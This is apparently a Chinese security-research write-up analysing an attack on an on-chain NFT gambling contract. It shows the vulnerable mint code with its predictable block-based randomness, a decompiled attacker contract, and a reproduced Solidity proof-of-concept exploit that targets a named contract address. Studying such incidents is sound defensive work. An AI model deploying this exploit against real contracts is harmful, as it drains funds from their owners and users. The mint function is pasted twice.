事件背景
1.1 愤怒的项目方
事件分析
2.1 创业路程
2.2 攻击分析
function publicMint() public payable {
// 获取总供应量
uint256 supply = totalSupply();
// 判断铸造是否暂停
require(!pauseMint, "Pause mint");
// 判断是否发送了足够的Ether,这里为0.01Ether
require(msg.value >= price, "Ether sent is not correct");
// 判断总供应量没有超过最大值
require(supply + 1 <= maxTotal, "Exceeds maximum supply");
// 调用库的mint函数
_safeMint(msg.sender, 1);
// 获取“随机数”
bool randLucky = _getRandom();
// 获取新mint的NFT的ID
uint256 tokenId = _totalMinted();
emit NEWLucky(tokenId, randLucky);
// 将该id的NFT是否中奖的信息保存到tokenId_luckys哈希表中
tokenId_luckys[tokenId] = lucky;
// 如果中奖
if (tokenId_luckys[tokenId] == true) {
// 向调用者发送1.9倍price的Ether,这里为0.019Ether
require(payable(msg.sender).send((price * 190) / 100));
require(payable(withdrawAddress).send((price * 10) / 100));
}
}function publicMint() public payable {
// 获取总供应量
uint256 supply = totalSupply();
// 判断铸造是否暂停
require(!pauseMint, "Pause mint");
// 判断是否发送了足够的Ether,这里为0.01Ether
require(msg.value >= price, "Ether sent is not correct");
// 判断总供应量没有超过最大值
require(supply + 1 <= maxTotal, "Exceeds maximum supply");
// 调用库的mint函数
_safeMint(msg.sender, 1);
// 获取“随机数”
bool randLucky = _getRandom();
// 获取新mint的NFT的ID
uint256 tokenId = _totalMinted();
emit NEWLucky(tokenId, randLucky);
// 将该id的NFT是否中奖的信息保存到tokenId_luckys哈希表中
tokenId_luckys[tokenId] = lucky;
// 如果中奖
if (tokenId_luckys[tokenId] == true) {
// 向调用者发送1.9倍price的Ether,这里为0.019Ether
require(payable(msg.sender).send((price * 190) / 100));
require(payable(withdrawAddress).send((price * 10) / 100));
}
}
function _getRandom() private returns(bool) {
uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp)));
uint256 rand = random%2;
if(rand == 0){return lucky = false;}
else {return lucky = true;}
}
# Palkeoramix decompiler.
def storage:
owner is addr at storage 0
nftAddress is addr at storage 1
def nft(): # not payable
return nftAddress
def owner(): # not payable
return owner
#
# Regular functions
#
def sendEther() payable:
stop
def _fallback() payable: # default function
stop
def getRandom(): # not payable
if sha3(block.difficulty, block.timestamp) % 2:
return 1
else:
return 0
def withdraw(): # not payable
if owner != caller:
revert with 0, 'Not owner'
call owner with:
value eth.balance(this.address) wei
gas 2300 * is_zero(value) wei
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
def unknown023245d7(uint256 _param1): # not payable
require calldata.size - 4 >=′ 32
require _param1 == _param1
if owner != caller:
revert with 0, 'Not owner'
require ext_code.size(nftAddress)
call nftAddress.transferFrom(address from, address to, uint256 tokens) with:
gas gas_remaining wei
args addr(this.address), owner, _param1
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
def onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data): # not payable
require calldata.size - 4 >=′ 128
require _operator == _operator
require _from == _from
require _tokenId == _tokenId
require _data <= 18446744073709551615
require _data + 35 <′ calldata.size
require _data.length <= 18446744073709551615
require _data + _data.length + 36 <= calldata.size
return 0x150b7a0200000000000000000000000000000000000000000000000000000000
def unknown25565cdd(uint256 _param1): # not payable
require calldata.size - 4 >=′ 32
require _param1 == _param1
if not sha3(block.difficulty, block.timestamp) % 2:
revert with 0, 'Not lucky'
idx = 0
while idx < _param1:
mem[192] = 0x26092b8300000000000000000000000000000000000000000000000000000000
require ext_code.size(nftAddress)
call nftAddress.0x26092b83 with:
value 10^16 wei
gas gas_remaining wei
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
if eth.balance(this.address) < eth.balance(this.address):
stop
if idx == -1:
revert with 'NH{q', 17
idx = idx + 1
continue
function hack(uint256 counts) public {
require(uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp)))%2 == 1, "Not lucky");
for(uint256 i=0;i < counts;i++) {
nftAddress.call.value(10000000000000000)(bytes4(keccak256("publicMint()"));
}
}
2.3 复现
contract Poc {
address nftAddress = 0x5e3D2b37D4bf2f60626761B9f445d4CeB2b271d0;
constructor() public payable {}
function hack(uint256 counts) public {
luckytiger LT = luckytiger(nftAddress);
require(uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp)))%2 == 1, "Not lucky");
for(uint256 i=0;i < counts;i++) {
LT.publicMint{value:0.01 * 10 ** 18}();
}
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
)external returns(bytes4) {
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
receive() payable external {}
}
2.4 总结
事件后续
原文始发于微信公众号(山石网科安全技术研究院):记一次链上赌场攻击事件